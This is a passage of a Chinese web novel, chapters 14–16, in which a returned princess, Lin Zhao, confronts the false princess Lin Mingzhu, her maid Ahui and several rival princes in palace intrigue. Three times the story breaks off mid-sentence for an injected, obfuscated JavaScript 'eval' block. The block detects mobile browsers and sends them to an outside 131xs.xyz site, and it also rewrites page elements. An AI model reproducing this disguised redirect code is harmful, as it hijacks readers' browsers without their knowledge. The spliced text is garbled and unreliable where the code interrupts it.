既然如此,就别怪她打个脸了。 想到这里,林昭不再停留,施施然得从花草掩映的一侧,走了出去。 很快,亭轩处的场景,便展现在了她的面前。 庭轩并不大,上书惊鸿轩三字,明显是取自曹植的《洛神赋》。整个亭子不过七八步子长,一面贴着墙壁,一面对着一汪青绿池水,两侧窗棱紧闭,形成一个半封闭空间,既不耽搁赏景,又不至于透风寒冷。 面对着池水的一面,缀了不少青色银白色帷幔,显得很是优雅飘逸。帷幔外站着好几个内侍宫女,不用说,铁定是跟着女主身边的人。其中就有刚刚指桑骂槐,嚣张至极的那个宫女。虽然林昭以前没有见过她,也不可能因为听声就辨别出身份。但她还是一眼就认出了她。因为太明显了,她一走出去,就看到一跪一站两个宫女形象,根本无需分辨。 她的到来显然惊动了庭轩之内的人,很快,一个身穿宽袍大袖的豆蔻女子走了出来,正是女主。 看到女主的那一瞬间,林昭默了。 林昭料想过,她和女主之间的形象差别会很大,但着实没想到,差别会这么大。 同样是13岁,同样的出生时辰,女主皮肤白皙,身材高挑,站如亭亭玉立,纵然才刚过豆蔻年华,已初具少女的风姿。如同一株在温室中被精心呵护、含苞待放的极品牡丹,通身上下都散发着被宠爱浸润的光彩。 而反观她自己,皮肤黝黑,身体瘦弱,下巴尖得能戳人,身高更是直接比女主矮了一个头。 若不是知晓实情,谁能想到两人年龄相同。 林昭抚了抚自己身上这套为了凸显瘦弱特意穿的窄袖袍服,本来是用来对付武德帝的工具,试图以此激起他的愧疚之心,结果武德帝就跟眼瞎了一样。林昭都还以为自己这一番安排要付诸流水了呢? 没想到,如今倒成为衬托自己悲惨的工具了。 显而易见的是,女主也深刻感受到了这份反差,在看到她的一瞬间,也沉默了下来。 场面一时之间有些静默。 14.第 14 章 不过,林昭没有忘记自己来此的目的。 她可是为立威而来。 惊诧了一瞬过后,她很快就将目光看向了那一跪一站两个宫女身上。 这两个宫女的穿着和其他宫女明显不同,其他宫女都穿着青色衣裙,可她们却一身浅黄,头上也攒了小珠花。特别是那个站着的宫女,腰间上甚至系了一块绣有暗纹的浅草色腰带。在这个纺织业还不发达的时代,任何暗纹+稀有色彩可都是奢侈品。 由此可见,此人的确深受女主的器重和宠爱,显然是心腹无疑。 林昭扭头看向青衣,询问道,“她是谁?” 青衣疾步上前,飞快的瞥了一眼站着的宫女,颤声回答道,“禀殿下,这是明珠翁主的侍女阿慧。” 原来是她啊,果然是女主贴身女侍! 林昭点头,随即脸色沉了下来,视线冷冷的看向阿慧,“你刚刚说——乡野出来的泥腿子货色,这话何意?” 林昭这句话一问出,整个惊鸿轩瞬间死寂。 很显然,所有人都没想到,林昭如此直白的问出这样一句话。宫里人说话向来是习惯这样披上一层外皮,哪怕谁都知晓这是个下马威,且针对的就是林昭。但即便如此,按道理林昭也不能明着揭破,只能暗暗反击回去,因为捅破几乎相当于撕破脸皮。 很多话只可意会不可言传,如果真较真说出来,那可就真的四千斤都打不住了。 正是因为仰仗了这点,再加上林昭出生乡野,在她们看来,乍入宫中,定不敢声张,只能默默忍下去罢了。所以,林明珠和她的侍女布这个局,粗糙得肆无忌惮。 可偏偏,林昭就不打算忍。 她不仅不打算忍,还打算直接将这件事放大化。 “禀......禀殿下,是吕梅偷盗翁主的金簪,奴婢一时不忿,这才——”阿慧试图狡辩。她显然也很清楚,那些暗中的目的是决不能说出来的,能说出来的只能是表面的理由。 “哦~”林昭语调平平,直接道,“那你可知,我林家往上数四五代,可都是你口中躬耕田野的泥腿子货色。哦,对了!”说着,她话锋一转,随即又看向站在对面看似欲言又止的女主,“你的主人明珠翁主,其亲身父母,亦是泥腿子呢。” 此话一出,阿慧直接双腿一软,“噗通”一声直接跪在了地上,脸色惨白如纸,嘴唇哆嗦着,身体抖得比她刚刚训斥的另一名宫女还厉害,脸上再也没有了最开始的嚣张。如果说,刚刚她还觉得自己可以狡辩一下,此刻她已经很清楚,自己怕是完了。 她忍不住看向自己服侍的主子,明珠翁主,林明珠。 林明珠也完全没想到,林昭会将话题引向自己,脸色有一瞬间的煞白。 她张了张嘴,想要反驳,却发现自己根本无法反驳。 因为林昭说的全部都是事实。而且,她不敢阻止林昭,怕武德帝知晓之后,觉得她不知道感恩。 毕竟,如今阿慧那句话牵扯到的已经不再是一场小争吵了,而是林姓皇室,甚至她自己了。 她看了阿慧一眼,直接转过身去了。 林昭早已料到了林明珠会有这样的反应。林昭分析过这本团宠言情文里面,林明珠的性格底色,毕竟是这个世界的女主,而且还免不了会打交道。 虽然整本书里面大部分内容,大部分都是林明珠和男主、男二的情感纠葛,剧情也略微有点癫,一会儿林明珠爱上男主了,一会儿又因为某个女配或者误会,转投男二怀抱了,一会儿误会解开,两人黏黏糊糊了。 但作为这本书的女主,林明珠真算不得什么恶人,甚至算得上一个好人。 她有她天真的一面,比如,她似乎天真的以为自己搞出的东西,一定会改变这个落后的世界。所以,这些年她做出了肥皂,做了更好的纸,做了化妆品,甚至还拿出了土豆,搞出了水泥等,各种发明创造层出不穷。甚至,这还不包括那些她无意间搞出的东西。 可林明珠似乎却从未想过,她的那些发明创造,适不适合这个时代。 以肥皂为例,肥肉熬出猪油,再加上碱性草木灰水,看似很简单。 可首要的猪油就是个很严峻的问题,南北朝时代可不是明朝,猪已经开始大范围养殖,甚至还进行了阉割。 现在的猪都还是原种猪,又瘦又柴,根本榨不出多少油。 至于羊油,就更别想了。 说到底,这玩意最终,也不过是给南雍国的上层权贵,增添了一项玩物而已。 类似的化妆品,其实也差不多。 至于纸,世家把控朝堂,核心就在把控知识解释权,又怎么可能任由纸这门技术真的推广出去呢。 以如今南雍国的局势,纸张想要推广出去,难如登天。利益相关,就算武德帝也不能强求世家这么做。所以,目前那些纸张技术,同样也只停在洛京权贵们手中,成为了他们才配使用的奢侈品。 至于水泥,先不说将石灰石以及铁矿石找到,磨细,并煅烧到近千度有多难,就算找到了铁矿石也不可能会用来做什么水泥。毕竟,在这个人力便宜到几乎极点的时代,夯土技术达到顶峰,比水泥坚固多了。 也就土豆,真正对准了这个时代的需求。虽然不知道女主是怎么拿出土豆的,是否携带空间金手指之类的,不过,光从她丝毫没有犹豫就拿出这个国度的人见都没见过的土豆这一项也能看出,这是个依然带着点天真幻想的古早穿越女。 毕竟,别的都还能将其归类为发明创造,土豆这样的新物种真的算是无中生有,凭空而来。 这个世界没人是傻子,怕是她将那些东西拿出来的那一刻,武德帝他们就已经识破了女主。 所谓的宠和爱,不过是他们想要从她身上攫取利益的武器。 可林昭通篇文看下来却发现,女主似乎压根就没意识到这件事,她似乎有一股莫名的自信,觉得自己是天生女主,武德帝、武贵妃他们、甚至男主、男二他们围着她转都是应该的,丝毫没有意识到任何不对劲。 不得不说,女主这份天真属性也够强悍的。 当然,女主虽然天真,却也有她自私伪善的一面。譬如刚刚那个下马威,看似是那个婢女阿慧在自作主张,但情况真是这样的嘛?这种组合,是不是很像某懿传里面的女主和她那嚣张的婢女组合。 譬如,原主记忆中第一世,女主听到原主死去后,假惺惺的哭唧唧了一下,事情便过去了。虽然系统说,这份记忆有可能只是记忆,但记忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132080|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同样说明一些问题。在林昭看来,这是林明珠极有可能会做的。 人都是自私的,涉及到自身利益时候,都倾向于让自己获利。 此刻也是如此,纵然阿慧的行动背后是她指使又如何,只要有可能损害到她,她照样会选择闭口不言,明哲保身。 林昭垂眸,漠然道,“青衣!” 青衣早在林昭寥寥几语就将事情大反转中凛然了神色。如今听到她叫自己,更是丝毫不敢耽搁,躬身向前道,“奴婢在。” “我初来乍到,对这宫规也不熟悉,你来说说,肆意辱骂皇室是什么罪?” 青衣心中一凛,明白公主这是要借她的口,宣判阿慧的死刑呢,同时也是在向其他人立威,告诉这宫里的人,她可不是好惹的。她深吸一口气,声音陡然拔高,字字铿锵道, “禀殿下,依照《宫律》,辱及皇室,乃大不敬之罪,当杖毙!” “杖毙”二字一出,如惊雷炸响,全场皆惊。 阿慧更是如同五雷轰顶,吓得魂飞魄散,她惊恐的看向林昭,立时便涕泪横流得求饶起来,“饶命啊!殿下!殿下饶命啊!”甚至想要攀爬过去,抓林昭的裤子,直接被林昭躲开了。 眼看着林昭这边求饶不成,阿慧随即像要抓住最后一根稻草一般,扭头便手脚并用的爬到林明珠面前,“翁主,救我!救我!翁主........奴婢都是为了您........呜呜呜........翁主救救我!救救我啊!”在极端的恐惧之下,她直接语无伦次起来,甚至差点揭露了那层最不该揭破的窗户纸。 林昭当即饶有兴味的笑了起来,“你的意思是,你说那些话都是为了明珠翁主?” 林明珠当即脸色比阿慧还难看,她再怎么天真也知道,这件事绝对不能和自己牵扯上,如林昭所言自己作为一个受害者,才是最好的结果。她现在的身份本就敏感,不是公主却享受了十几年的公主生活。 结果,真公主回来的第一天,自己身边的婢女就说出那样一句话。暗暗的下马威就算了,真被曝出去,武德帝会如何想她?兄长会如何想她?最重要的是,阿墨会如何想她?她在他心中那善良纯真的形象,会不会瞬间崩塌? 会不会觉得她……面目可憎? 仅那么一瞬间,林明珠就想了不知道多少,脸色更是越来越白。 况且,林明珠眼光偷偷得看了身旁又瘦又矮的林昭一眼,心里到底有些心虚。说到底,她是个穿越女,纵然免不了自私的时候,依然比这个时代的人更有底线。她很清楚,自己虽然什么都没做,却是既得利益者。 只是,让她眼睁睁看着阿慧被打死.......那份属于现代灵魂的不忍又煎熬着她。 林明珠心中憋屈无比,却也丝毫没有办法。 她看向林昭——这个她本是打算施加下马威的对象——最后只能挤出一个堪称僵硬的笑道“昭妹妹,我知道阿慧说话不经脑子,满口胡言乱语,犯了忌讳,杖毙是应该的。”她先撇清自己,将刚刚的事情定义为阿慧的胡言乱语,把那场明晃晃的下马威又糊上一层窗户纸,“但那毕竟是陪了我多时的人,不知道可否看在我的面上.....饶她一命!” 一番话,姿态放得可谓低。 15.第 15 章 林昭也没有意外林明珠的求情,毕竟,书里的她就是这样子的。 甚至因为这份不合时宜的善良,她和男主之间的感情可是多了不少波折,也不知道作者是不是故意如此设定的。譬如眼前这个名叫阿慧的婢女,未来就会成为两人之间的一个小坎坷。 相比而言,林昭就不同,她更信奉,在什么山头唱什么歌。在这样一个时代,敢这样挑衅她,本来就该做好付出代价的准备。 当然,她也不是非得让阿慧死。 只是,这份宽恕不能是因为女主的求情。两人本就是真假公主的关系,若再因为女主的求情,她就将阿慧放过,未免显得她太过懦弱好欺了。接下来,怕是只要是个人,都能在她身上踩一脚。 这可不是她想看的的。 “饶她一命!”林昭重复了一遍林明珠的诉求,声音听不出喜怒,“翁主是打算纵容悖逆?” “不是!我——”林明珠完全没想到,竟然有人不买自己的面子。她虽然不知道自己生活在团宠文世界里,但这十几年来,几乎所有人都顺着她,捧着她,就连武德帝都不例外,这早已让她理所当然的认为,这个世界的人就应该捧着顺着自己的。 猛然遇到了林昭这样的人,一时之间竟有点反应不过来。 林昭没打算继续跟女主纠缠,直接目光深沉得看向身旁的女官青衣,就要吩咐她去执行时,一个声音打断了她。 “这是怎么了?”来人声音清朗中带着恰到好处的惊讶,就好像真的是凑巧碰见一般。 接着林昭就看到一个身穿红黑长袍的男子,从另一边走了过来。男子玉冠束发,广袖长袍,面容虽然尚且有点稚嫩,也非那种令人惊艳的俊美,却轮廓分明,眉宇疏朗,配上那微微挑起的眼尾,自有一股从容不迫的风流气质。 男子一来,就吸引了庭轩内所有人的目光。 众人正要行礼,也被他制止了。 林昭眼眸微凝,她立马判断出,此人可能是她的某个兄长。无他,西雍国沿袭的是周制,崇尚的是火德,帝王的专属颜色是红色。寻常的贵族男子,虽然也可以着玄色,但大部分不会配朱红,唯有皇室之人才能穿这种玄纁之色。 果然,还不待她有所反应,林明珠便瞬间开颜起来,语气轻快道,“阿兄!”喊完之后,便略带委屈的看了他一眼,又看向林昭,眼中莫名露出一股复杂的神态。 男子眼眉一挑,似乎也有点诧异林明珠的反应,很快便走到林明珠身边,温声问道,“怎么了,莫非还有人敢欺负我们的明珠翁主不成?” 随即审视的眼眸扫向林昭所在的方向,意有所指。 “这倒没有!”林明珠赶紧道。 她到底知道,自己是个假的,眼前才是面前人的真妹妹。 “哦!是嘛?”男人不置可否,他随意得看了林昭一眼,眼中露出明显的诧异。很显然,林昭的瘦弱黝黑现状,出乎了他的预料。 但很快,他就转移了视线,继续看向林明珠,一如既往的一副好哥哥模样,温和的说道,“明珠不必忧心,不管是谁欺负你,阿兄都能替你做主。阿兄永远都是你最亲的阿兄。” 此话一出,林明珠眼圈立马微微红了起来,忍不住又唤了一声,“阿兄!!” 说完,她忍不住又看了林昭一眼。 林昭早就在林明珠喊出那句“阿兄”的那一刻,便已经知晓了眼前男子的身份,武德帝第三子,也是这具身体的血缘兄长,被封为荣王的三皇子林璋。也就只有面对他,女主才会撒娇一般喊上一句“阿兄”。 林璋的出现,让林昭明白了一件事,这洛京西雍宫里的水,比想象中深。 那些人对她的芥蒂和忌惮,也比她想象中的深。不然,也不至于她这边刚和武德帝见完面,就先碰到了女主,如今又看到了荣王。 这着实出乎她的预料。 她还以为,纵然有天幕对她的预言,这些“皇位角逐者”如今也只会对她这个预言不屑一顾,只等着登基之后便随手杀了她。毕竟,她的公主身份,天然就将她排除在继承人之外。而且,秦汉以来,还没有那个公主登基的。 哪怕是一个嫁过来的太子妃,待成为皇后太后之后,也比她更有机会染指那至高权柄。 林昭都打算好了,此次小小的立威一下后,就借此在宫里安静得蛰伏几天,扮演一个虽然看着果断聪慧但其实内心早已被吓到,完全不值一提的乡野少女。 待武德帝给她准备好住所,封王的旨意颁发,离开了这个波谲云诡且自己丝毫不了解的宫里之后,她再徐徐图之。 可如今,计划似乎赶不上变化。 甚至,林昭看向身后,指不定等下还能看到其他人呢。 林昭不知道的是,她猜对了,另外几人也正朝着她所在的位置走了过来。 就在惊鸿轩的几百米开外就出现了一群人,为首的人同样身穿黑红色广袖大袍,和荣王面容尚且有点稚嫩不同,此人明显已经成年,身材也开始发福起来,脸上更是蓄起了少许胡须。 不过,或许是因为胖的原因,或许是因为常年笑着说话,使得他面容看起来格外温柔敦厚,好像一个十足的老好人。 也就只有真正了解他的人才知道,这人温柔敦厚的表面下,有多么傲慢残暴。 此人,便是武德帝最大的儿子,宋皇后之子,西雍国的太子林瑚,也是未来西雍国最名正言顺的继承人。 太子林瑚背后,则缀着一个大约三尺高的小孩,身穿青色厚衣袍,头上梳着牛角双髻,显得颇为纯挚天真可爱,正是当今武德帝宠妃王昭仪之子,尚未封王的四皇子林琮。 因为同为世家女之子,母亲所在的王氏又和宋氏联合,便时常跟在太子身边。自从天兆出现,知晓武德帝只能活6年之后,林琮好像就直接成为了太子的跟班。 太子自从知晓荣王已迫不及待去试探林昭的深浅后,便彻底坐不住了,这才出现在了花园。 只是,太子怎么都没有想到,和他们一样坐不住的,还有自己的死对头贤王,看着眼前一脸冷硬,僵着一张死人脸一般的林琏,太子温柔敦厚的脸上笑容瞬时没了。 不过,下一秒,他的脸立时又浮上了虚假的笑容,温和的问道, “二弟不在王府练武,怎么有闲情来宫里逛园子了?” 贤王林琏压根不买太子的账,冷声丝毫不客气道,“太子为什么,我就为什么。” 太子暗暗咬牙,这就是他最讨厌这个二弟的地方,明明大家都是弯来弯去,客套来客套去的说话,哪怕是他这个太子也不例外。 可偏偏,这个二弟顶着那张僵硬的死人脸,天天直来直去,丝毫不给他这个大哥留情面不说,还以此在朝堂博了个“坦诚无畏”的好名,吸引了不少寒门小世族和武将们站队。 可即便如此,太子还不得不好声好气得跟他说话,不然武德帝知道了,怕是又要说他心胸狭隘了。他那父亲可是和所有皇帝一样,自己容不下权大的兄弟,却又恨不得自己旗下儿女个个兄友弟恭。 太子心中憋屈无比,却也只能继续道, “原来二弟也是来看二妹妹的。说起来,二妹也是命运坎坷,明明是千金之子,却流落在乡野这么多年,今日方得归家,这些年也不知道过得多么悲惨。孤只要一想到这件事,便忍不住为她掬一捧泪。” 贤王脸都没变一下,开口就道,“大哥既如此好奇,不如你问问她?” 说完,也不管太子,扭头就带着自己一行人朝庭轩所在的位置走去。 太子见状,脸色立时又阴沉了下来,目光凶狠得盯着那个肆无忌惮的人,只恨自己不能立时登基,不然他第一件事绝对是剐了这个所谓的兄弟。 他并没有注意到,站在他稍后一步身位的四皇子林琮,天真的脸上露出了一抹兴味的笑容。 很快,两人便也跟在贤王身后,快步的朝林昭所在的位置赶去。 就在几人互相言语争锋时,这边的林昭也碰到了一个问题。 因为荣王林璋的出现,宫女阿慧像又抓住一根救命稻草般,已快速跪爬到了林璋面前,声嘶力竭地求救起来,“救命啊!荣王殿下!救救奴婢啊,殿下!奴婢不是故意的,奴婢只是一时糊涂,殿下!” 或许是知道林璋对林明珠的重视,这时的她倒没再攀扯林明珠了。 “这不是阿慧吗?”林璋诧异得低头看了她一眼,眼中明显闪过一抹诧异,“这是怎么了,你可是明珠翁主的贴身女侍,怎么弄得如此......狼狈?”他后半句话带着明显的嫌弃,身体甚至下意识地微微后仰,避开了阿慧试图抓他衣袍的脏手。 说着,他还看向林明珠,“明珠,这是怎么回事?” 林明珠嘴唇嗫喏一下,看了林昭一眼,心底略有点难堪。 要她怎么说,难道说自己下马威不成,反倒被人拿住了把柄?可若不说,她看了一眼已经濒临绝望的阿慧,到底陪着她那么久,她也不忍心自己的侍女就真这么被杖毙了。 想了想,她到底还是简单得说了一下刚刚的情形,只将自己打算下马威这件事给掩盖了。 不过,这样的把戏一眼就被林璋识破了。 但他并没有说什么,反而煞有介意的点了点头,好像没有听出这里面暗藏的把戏一样,听完之后更是彷佛第一次发现林昭的存在般,目露微笑得看了她一眼,温和得问道, “所以,你就是我的妹妹阿昭?” 随后,他也不管林昭的反应,自顾自的说道,“阿昭,你受苦了,我是你的同胞兄长荣王,孤也知道这贱婢此次的确犯了忌讳,杖毙了也不为过,不过到底是陪着明珠这么久的人,真就这么打杀了也不好,阿兄就跟你讨个人情,留她一命如何?” 他说这话的时候,面带微笑,声音温和,依然一副好哥哥模样。 可话语中却丝毫没有给林昭选择的意思,看着是在问她,话语中却有着明显的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135758|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容置喙,就好像笃定了她只会懦弱赞同,绝不会反驳一样。 很显然,这位兄长是将平时控制引导女主的手段,顺理成章得用在她身上了,直接把她当成女主一样好控制的人物了。 只是,他未免太自信了,是什么让他如此笃定呢? 林昭目光微凝,明明林璋会出现在这里,很大可能就是因为对自己的忌惮,想要试探她。可这不过一会,他们之间连话都没有说,林璋为何突然放下了对她的忌惮?有什么东西是能够让他一见面就改变想法并且放下警惕的呢? 几乎是同一时间,一个词浮上她的心头,容貌。 林昭又抚了抚自己身上这套为了凸显瘦弱特意穿的窄袖袍服,脑海中再次回忆起自己如今这幅难民般模样,颇有种哭笑不得的感觉。谁能想到,正当她因为预判错误,不得不打起精神想着该如何和这些“王”们来一场交锋时,这副风吹即倒、难民般枯槁瘦弱的皮囊,竟成了她此刻最意想不到的护身符? 如此一来,她在宫中暂时蛰伏一下的计划,似乎又可行了。 不过,林昭可没有兴趣扮演柔弱。示弱的确是个不错的策略,可焉知习惯了示弱后,吃到了红利,形成了惯性,不会慢慢习惯性去当一个弱者。再说了,她最开始要杀阿慧的表现,看着也不像柔弱这一挂的人啊,反差太大,太容易暴露了。 相反,林昭想了想她看过的一些真假千金文,相比于假千金最喜欢的白莲花设定,真千金在设定上除了懦弱、逆来顺受之外,还有暗黑复仇的一卦。因为被父母兄长的习惯性忽视,因为假千金的陷害,便开始陷入歇斯底里的偏激情绪中。 林昭抬头看了一眼自以为已经拿捏住了她的荣王,只觉得这种激愤不甘的设定,更适合现在的自己。 一个被怨恨不甘情绪左右的人,反而更能让人放心不是? 于是,她脸上立马露出一抹冷笑,眼神漠然得看着自己这位同胞兄长,声音清泠泠的道,“留她一命?兄长,你的意思是,一个明知道我林氏一族三代之前也不过是泥腿子,她主子的父母也不过是泥腿子,却在大庭广众之下叫嚣着看不起‘乡野出来的泥腿子货色’的婢女,仅仅因为她的主人是明珠翁主,我等就可以视而不见听而不闻了吗?你可知,我才是真正的林氏血脉,而非她林明珠,你把我当什么了?” 说完,她眼神如利刃般刺向林璋,带着一股显而易见的不甘和怨恨。 林明珠神色骤变。 “你——”林璋脸上的温和笑容也维持不下去了,他瞳孔剧缩,看着面前怨恨的看着自己的女子,完全没有想到她会突然如此发难。毕竟,他已经来这里好一会儿了,可不管是刚刚的故意忽视,还是他若有若无的审视,林昭脸上都丝毫没有动静。 再加上她看着如此瘦弱,这不免让他产生了一种错觉,那所谓的天兆压根就是无稽之谈,眼前的林昭不过是个和明珠一样的蠢货,甚至连明珠都比不上。 毕竟,明珠再怎么样,也发明了各种东西,深受武德帝喜爱,还是有不错的价值的。 可眼前的人,不止丑的可以,甚至连话都不敢说,指不定如今心里多么胆战心惊呢。 这样的人,如果是别人,林璋是铁定看不上的。 不过,考虑到眼前人才刚刚回宫,又因为流浪在乡野十几年,他那父亲武德帝心中定有所愧疚。帝王的愧疚,可是一项很好的资本。他便打算像对明珠一样对待她,将这份帝王的愧疚用来为自己谋利。 这才有了刚刚那番话。 他怎么也没想到,林昭非但没有如他所想的选择偃旗息鼓,竟然还直接爆发了。 看了一眼林昭满脸悲愤的样子,又看了一眼她背后的武德帝安排的女官青衣等人,林璋心中顿时划过一抹不好的预感。 这些年他能在武德帝面前得脸,靠得可全是“爱妹”这个设定。虽然这个妹是林明珠,如今还被证明是个假妹妹。但总不能亲妹妹刚回来,他就逼得人当众与他撕破脸吧。 这样一来,父亲会如何想他? 想到这里,林璋强忍下心中不快,却不得不温声安抚道, “阿昭,我不是这个意思。” 林昭并不知晓眼前林璋的复杂心理活动,但不妨碍她打蛇随棍上,“那你是什么意思?你是觉得我比不上她林明珠了?” “当然不是!”林璋赶紧说道。但话一出口,他就意识到不对了,赶紧回头看林明珠。 果然,听到他这句话,林明珠的眼睛便立时流下泪来,满脸难过得看着他, “阿兄——” 林璋的脸色一下子难看起来,心中浮现出了对林昭这个所谓亲妹妹的不喜。若非她突然那说那一番话,事情根本不会演变成这样,就在他打算安抚一下林明珠时,又一个温和声音响起,“孤就说,这惊鸿轩今儿个怎么如此热闹,原来是三弟和明珠在啊!” 林昭立时扭头看去,这才发现不知何时惊鸿轩内又来了一波人。 16.第 16 章 其他人自然也跟她类似的反应。 很快,惊鸿轩便响起了一阵宫女内侍的行礼声,“太子殿下万安,贤王万安,四殿下万安!” 这些行礼的称呼让林昭一下子就猜出了几人的身份,为首的人年纪最大,略有点胖乎乎,一脸微笑,又叫林璋三弟,明显就是那个传说中的太子林瑚。而那个站在太子左边的,外表看着冷硬脸上没表情的,自然就是贤王。 至于两人站位稍后一些的小孩,虽然没有穿着黑红,但此刻和太子贤王一起来这边,除了四皇子林琮怕也不会有别人。 她在打量三人时,三人显然也在打量她。 几乎是下一刻,几人就被林昭那瘦弱如孩童的模样惊到了。几人来到这里,本是抱着看一眼那个预言中可笑的女帝是什么货色的?顺便看一下她是否真的具有威胁性。谁也没想到,哪个被天兆预言为最后赢家的人,竟然是个这样模样的人。他们都是天潢贵胄,若非林昭有个公主身份,就凭她现在这副难民般的模样,怕是都不可能看她一眼。 和荣王一样,几乎一个照面,几人对林昭的警惕心就降下了一半。 当然,也只是解除一半而已。特别是太子,可没有全放下心来。他虽然喜欢以一副温柔敦厚的模样示人,但个人内心是极为傲慢霸道的。西雍国这个皇位,早已被他看成掌中物,容不得其他人沾染。自从预言出现后,林昭就已经上了他的死亡名单。 如今,亲眼看到了人,自然要试探一番, 因此,太子十分温柔得看向林昭笑着说道,“这就是刚回来的二妹吧!这些年辛苦你了!好在你现在回宫里了。我是你的大哥,以后若有什么困难,可以找大哥帮忙。”一番话说的滴水不漏,完全展现出了一个温柔敦厚好兄长的模样。 说着,他又侧身看向身边的贤王,“这是你的二哥贤王。”随即又看向另一边,指了指道,“这是你的四弟,琮儿。” 林昭点头,却既不行礼,也不说话,只眼睛冒着怒火,看了林璋和林明珠所在的方向一眼。她很清楚这些人来这里的目的。相比于荣王,太子和贤王对她的忌惮只会更深。既如此,戏自然还得继续演下去。 果然,她这番异样举动,立马引起了太子的注意,“这是怎么了,二妹似乎心有不渝,可是有人欺负你?” 林昭没说话,多说多措,只眼睛冒火般怒瞪着林璋,完美得扮演一个不甘愤怒的倔强妹妹模样。 太子在林昭这边没有答案,自然得问另一个当事人,很快,他就看向荣王林璋,“三弟,这是怎么了?” 荣王林璋眼底闪过一抹阴霾,心情简直不是一般的差,他完全没想到,太子以及贤王等人也会来。他以为这几人会选择观望一段时间,而他刚好可以趁着这段时间,笼络住这个新妹妹的心。 一个出生乡野的人,怕是只要随便给点好处,就能拢在手中。 届时,前有林明珠,后有这个真妹妹,他不相信武德帝会不看重他。至于那个所谓的女帝预言,届时待他登上了皇位,杀了这个妹妹就是。哪怕是他亲妹妹又如何,不过是一个半路贴上来的妹妹而已。 可偏偏,先是这个妹妹突然意外反驳他,如今,太子等人又来横插一脚了。 如今更是,他还什么都没准备好,这个亲妹妹就露出了端倪,他还不能翻脸。想到这里,林璋的脸刚露出礼节性的微笑,就都差点扭曲了。好在,他最后控制住了自己,看向太子这个大哥微微颔首道,“大哥,也不是什么大事,二妹在跟我生气呢。” “哦,二妹为何生气?”太子似好奇得笑着继续问道。 “这——”林璋苦笑道,“此事,说来话长!”试图以此打消太子追根究底的意图。 “没事,三弟你可以长话短说,我等愿意洗耳恭听!”太子依然一副温柔敦厚的模样,笑着说道,“再怎么说,二妹也是才刚回来,又受了那么多的苦,我等作为兄长的,自然不能对她的愤怒委屈视而不见。” “对啊,三哥,到底是怎么回事啊?!”8岁的林琮也直接掺和一脚,用天真的语气问道,说着,还似模似样的引用了最近他学的课文,“博士最近正在跟我说勾践的故事,越王勾践见怒蛙而式之,御者曰:‘何为式?’王曰:‘蛙有气如此,可无为式乎?我看二姐现在就很像故事里面的怒蛙。” 听懂了意思的林昭:这不就是说她现在的模样像青蛙嘛! 好家伙,演技都差点破功! 但很显然,比起林昭此刻对演技的考验,林璋更是难堪。他直接被架在半空了,不说出个缘由,这件事怕是过不去了。他瞥了眼跪在地上,已经开始瑟瑟发抖的阿慧一眼,又看了一眼旁边自太子等人进来后,脸上就没了笑容的林明珠,最终还是暗暗叹了一口气,将事情的缘由说了出来。 太子几人何等聪明,自然跟荣王一样,一眼就识破了林明珠下马威的意图。 不过,太子跟荣王可不同,他可没有为林明珠遮掩的意思。这么多年来,因为林明珠的受宠,武贵妃一系野心勃勃,坏了他多少事?就是荣王这个弟弟,日常看着一副无欲无求的模样,暗地里也给他搞出了不少麻烦。 所以,他丝毫不客气得揭露道,“这么说,这事是明珠妹妹搞出来的?” 说着,他看向林明珠。 林明珠虽然自诩从小被人追捧,但这里面显然不包括宋皇后太子这一系人。 后宫之中嘛,向来不是东风压倒西风,就是西风压倒东风,更别说,武德帝为了打压宋皇后的势力,还故意拉拔武贵妃,这就导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146420|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致武贵妃和宋皇后持续争锋相对。作为武贵妃十几年的女儿,林明珠自然跟自己的母亲站同一队。 这就导致,她跟太子之间交流甚少。 如今,猛然被太子这么一问,林明珠脸白了白,再次陷入了不知道该怎么说的境地。承认?岂不是明摆着告诉别人,自己不知感恩;不承认,太子都已经这样问了,分明已经认定的事,纯纯就是狡辩。 荣王林璋见此立马道,“大哥,何必说明珠呢,说到底还是这贱婢言语过于无状了!” 太子林瑚闻言,胖胖的脸上,唇边那抹笑意丝毫未变,只是那双深邃的眸子看向林璋时,带上了几分似笑非笑的意味。他没有立刻反驳林璋,反而轻轻点了点头,仿佛十分认同: “三弟说得对,这贱婢过于言语无状了。只是——”他话说到半途突然一转,脸上的笑容也敛去了,“只是孤有些不解,三弟,你既然知晓这件事罪在那贱婢,为何要二妹看在明珠妹妹的份上,留她一命呢?而且——” 